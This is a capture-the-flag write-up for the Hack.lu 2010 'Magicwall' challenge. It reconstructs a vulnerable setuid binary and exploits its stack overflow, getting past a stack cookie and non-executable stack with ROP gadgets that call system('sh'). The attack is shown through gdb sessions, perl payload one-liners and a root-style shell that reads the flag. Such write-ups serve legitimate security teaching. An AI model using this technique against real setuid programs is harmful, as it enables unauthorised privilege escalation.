Hack.lu 2010 CTF Challenge #19 Writeup

Magicwall (400)
Captain Hook found the following link after looting his last frigate.
He heard that the file flag on this system is worth 400 coins.
Give him this file and he will reward you!
ssh: pirates.fluxfingers.net:7022
user: ctf
password: ctf

In the box, there was a suid executable, which we were to compromise to get the flag. Here is it’s rebuilded source:

int main (int argc, char * argv[])
{
    unsigned int DEFACED; // [bp-ACh]
    int sum;              // [bp-A8h]
    int i;                // [bp-A0h]
    char buffer[136];     // [bp-98h]
    char *dest;           // [bp-10h]
    int saved_protector;  // [bp-Ch]

    saved_protector = global_protector;
    sum = 0;
    DEFACED = 0xDEFACED;
    if (argc <= 2)
    {
        fprintf(stderr, "Give me more!\n");
        return -1;
    }

    dest = buffer;
    for ( i = 0; i < strlen(argv[1]); ++i )
    {
        argv[1][i] ^= *((unsigned char *)&DEFACED + i % 4);
        if ( !(i & 3) )
            sum += argv[1][i];
    }
    
    strcpy(dest, argv[1]);
    if ( atoi(argv[2]) == sum )
        strcpy(dest, argv[1]);
        
    if ( saved_protector != global_protector )
    {
        puts("This move was absolutely NOT cool!");
        exit(1);
    }

    return 0;
}

We have a buffer overflow vulnerability with stack protection (the cookie is got from /dev/urandom). Also nx bit is set (stack is non-executable).

Obviously, we shouldn’t overwrite the stack cookie ( saved_protector ), this means path to main’s return is not straight forward. A good thing is that destination buffer to strcpy is passed in variable dest, which lies right before the stack cookie. So we can overwrite dest with first strcpy and then overwrite whatever-we-need with the second.

If we overwrite dest with address of return address of main function (which is 0xbfffxxxx), we will spoil the cookie with \x00 byte (strcpy does this evil). One way is to do a millions of tries, until stack cookie will be 0xXXXXXX00. But there is a more stable way – we can overwrite return address from the second strcpy call, during it’s execution. So, the cookie check won’t be executed, because we’ll return to whatever-we-need, not to main function.

Now it’s time to think where we want to return. Don’t forget, stack is non-executable, so we should use some Return Oriented Programming (ROP). Also, ROP code mustn’t contain null bytes (because of strcpy). There’s not too much code in the binary, so we can search for ROP gadgets manually. I found a nice block of code in __do_global_ctors_aux, which contains all that I need:

loc_8048833:
.text:08048833                 sub     ebx, 4
.text:08048836                 call    eax
.text:08048838                 mov     eax, [ebx]

loc_804883A:
.text:0804883A                 cmp     eax, 0FFFFFFFFh
.text:0804883D                 jnz     short loc_8048833
.text:0804883F                 pop     eax
.text:08048840                 pop     ebx
.text:08048841                 pop     ebp
.text:08048842                 retn

A nice thing is that glibc address is static. This prevents from running exploit several times, waiting for addressed to coinside. Let’s get system address:

ctf@Magicwall:~$ mkdir /tmp/mastaa
ctf@Magicwall:~$ cd /tmp/mastaa
ctf@Magicwall:/tmp/mastaa$ gdb ~/magicwall 
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall 

Breakpoint 1, 0x0804851d in main ()
(gdb) p/x &system
$1 = 0x1672a0

ROP code to call system(“sh ;”) (0x1672a0):
1. First, I want to put some return‘s addresses. Here they will act like nops in normal shellcode and will make guessing address of return address of strcpy easier. The address to return is: 0x08048842.
2. Next, I will use pop ebx, pop ebp, retn to load ebx. This ROP gadget has address 0x08048840.
3. After that, I want jump to address, stored in [ebx] (in dword, addressed by ebx). 0x08048838 will do this. There are more simple ways, like pop esi, and call esi, but the address contains a null byte, so we can’t store it in our ROP code.
How then can we use [ebx]? The trick is to export some environment variables. They are null terminated, so we will find “\xa0\x72\x16\x00” somewhere in the stack and put it’s address in ebx. “sh ;” string also will be there.
4. And at last, system function needs an argument.

Let’s get our env addresses:

$ export Z="`perl -e 'print ";sh "x128;'`"
$ export syst="`perl -e 'print pack("V", 0x1672a0)'`"
$ gdb --args  ~/magicwall "`perl -e 'print "A"x140;'`" 12345
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12345

Breakpoint 1, 0x0804851d in main ()
(gdb) x/100s 0xc0000000-512
0xbffffe00:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;s
h ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh 
;sh ;sh ;sh ;sh ;"...
0xbffffec8:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh "
...
0xbffffef4:     "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/us
r/bin:/sbin:/bin:/usr/games"
0xbfffff9e:     "syst=�r\026"
...
(gdb) x/20xw 0xbffffe00-32
0xbffffde0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffdf0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe00:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe10:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe20:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
(gdb) x/1s 0xbffffe04
0xbffffe04:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh
 ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh"...
(gdb) x/1xw 0xbfffff9e+5
0xbfffffa3:    0x001672a0
(gdb) p/x $esp
$1 = 0xbffff940

So, system address is stored at 0xbfffffa3, the argument is at 0xbffffe04. Approximate value of address of return address from strcpy is 0xbffff940. That address should be in the middle of ret-sled, so a place for our ROP code is some dwords before (0xbfffff904 looks ok)

Here is a perl script to generate payload and the checksum.

$ gdb --args ~/magicwall "`perl pwn.pl`" "`perl pwn.pl sum`"
..
(gdb) r
Starting program: /home/ctf/magicwall ... 1930
$

Got a shell! Cool, but only under gdb. The addresses differ, so we need to try some offsets. Perl script for that.

ctf@Magicwall:/tmp/mastaa$ perl syspwn.pl 
bffff904 bffffe04 bffffff0 (2009): 
...
bffff904 bffffe07 bfffff7c (2152): 
bffff904 bffffe04 bfffff7b (2148): sh: h: not found
$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
$ cat /home/ctf/flag
C_IS_FOR_C00KIE

Flag: C_IS_FOR_C00KIE

Leave a Reply

Your email address will not be published.